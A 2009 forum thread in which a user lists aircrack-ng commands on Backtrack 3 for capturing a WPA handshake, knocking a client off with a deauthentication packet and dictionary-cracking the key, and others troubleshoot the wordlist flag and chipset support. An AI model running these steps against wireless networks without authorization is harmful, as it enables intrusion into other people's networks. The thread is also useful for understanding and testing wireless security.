Use Backtrack 3 CD to crack WPA key

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Use Backtrack 3 CD to crack WPA key

Post by o0ophongvan710o0o on Sun Sep 20, 2009 11:34 pm
([msg=29908]see Use Backtrack 3 CD to crack WPA key[/msg])

I have read many tutorial but I can't crack WPA key.
I use Backtrack 3 CD.
Step by step:

1. airmon-ng stop ath0
2. airmon-ng start wifi0
3. airodump-ng ath0
4. airodump-ng -c CHANNEL_NUMBER -w FILE_NAME –bssid MAC_AP ath0 [Wait until shakehand packet captured]
5. aireplay-ng -0 1 -a MAC_AP -c MAC_CLIENT ath0
6. aircrack-ng -w FILE_WORD_LIST -b MAC_AP FILE_NAME*.cap

ath0: name of wireless card
wifi0: i don't understand
c: channel
w file to store packets
file_word_list: i don't have dictionnary file
If I have a dictionaryfile, and I store it in my USB, how can I use it as [6]
Please explain for me
Thank u so much
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Re: Use Backtrack 3 CD to crack WPA key

Post by mischief on Mon Sep 21, 2009 12:46 am
([msg=29909]see Re: Use Backtrack 3 CD to crack WPA key[/msg])

you use it just like the manpages say, with the -w flag.

http://linux.die.net/man/1/aircrack-ng
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Re: Use Backtrack 3 CD to crack WPA key

Post by Tentra on Mon Sep 21, 2009 12:52 am
([msg=29910]see Re: Use Backtrack 3 CD to crack WPA key[/msg])

This might be the most confusing post I have ever read.

My guess is that the password isn't in the dictionary.

Or was this your actual question:
If I have a dictionaryfile, and I store it in my USB, how can I use it as [6]


If so, then you do what mischief said, and use -w. You seem to already know that though...
6. aircrack-ng -w FILE_WORD_LIST -b MAC_AP FILE_NAME*.cap
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Re: Use Backtrack 3 CD to crack WPA key

Post by o0ophongvan710o0o on Mon Sep 21, 2009 4:38 am
([msg=29915]see Re: Use Backtrack 3 CD to crack WPA key[/msg])

Thank for your reply.
I use Backtrack 3 CD
I have a dictionary file (name is wordlist) in my USB
I did:
I 1. airmon-ng stop wlan0 (this is name of my wireless card)
2. airmon-ng start wlan0
3. airodump-ng wlan0
4. airodump-ng -c 11 -w capture –bssid MAC_AP wlan 00:1E:2D:3D:4F:5C wlan0
5. aireplay-ng -0 1 -a 00:1E:2D:3D:4F:5C -c 00:1B:3C:4E:5F wlan0
6. aircrack-ng -w wordlist -b 00:1E:2D:3D:4F:5C capture*.cap

Sorry, my English is not well :D
Last edited by o0ophongvan710o0o on Mon Sep 21, 2009 11:03 pm, edited 1 time in total.
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Re: Use Backtrack 3 CD to crack WPA key

Post by mathisen99 on Mon Sep 21, 2009 10:23 pm
([msg=29963]see Re: Use Backtrack 3 CD to crack WPA key[/msg])

if you are going to use aircrack make shure you have an " Atheros " chip set on your card or you will not be able to use packet injektion and whit out that it will take WHERY long time....
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Re: Use Backtrack 3 CD to crack WPA key

Post by mischief on Mon Sep 21, 2009 10:25 pm
([msg=29964]see Re: Use Backtrack 3 CD to crack WPA key[/msg])

mathisen99 wrote:if you are going to use aircrack make shure you have an " Atheros " chip set on your card or you will not be able to use packet injektion and whit out that it will take WHERY long time....


you don't have to have atheros. you only need a supported chipset.

but considering his device's interface name is 'ath0', he probably has an atheros chipset.
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Re: Use Backtrack 3 CD to crack WPA key

Post by o0ophongvan710o0o on Mon Sep 21, 2009 11:04 pm
([msg=29967]see Re: Use Backtrack 3 CD to crack WPA key[/msg])

I don't know why I can't crack :oops:
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Re: Use Backtrack 3 CD to crack WPA key

Post by Tentra on Mon Sep 21, 2009 11:15 pm
([msg=29968]see Re: Use Backtrack 3 CD to crack WPA key[/msg])

In your first post you stated you understand that you have to wait until a 4-way handshake is captured. So the only other reason I can think of is that the password is not in the dictionary.
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Re: Use Backtrack 3 CD to crack WPA key

Post by mathisen99 on Mon Sep 21, 2009 11:25 pm
([msg=29969]see Re: Use Backtrack 3 CD to crack WPA key[/msg])

mischief wrote:
mathisen99 wrote:if you are going to use aircrack make shure you have an " Atheros " chip set on your card or you will not be able to use packet injektion and whit out that it will take WHERY long time....


you don't have to have atheros. you only need a supported chipset.

but considering his device's interface name is 'ath0', he probably has an atheros chipset.


oh havent used aircrack for a long time .... what i remeberd was that atheros was the only suported chip set ... sorry for that and regarding Ath0 you are right.. did not notice that...
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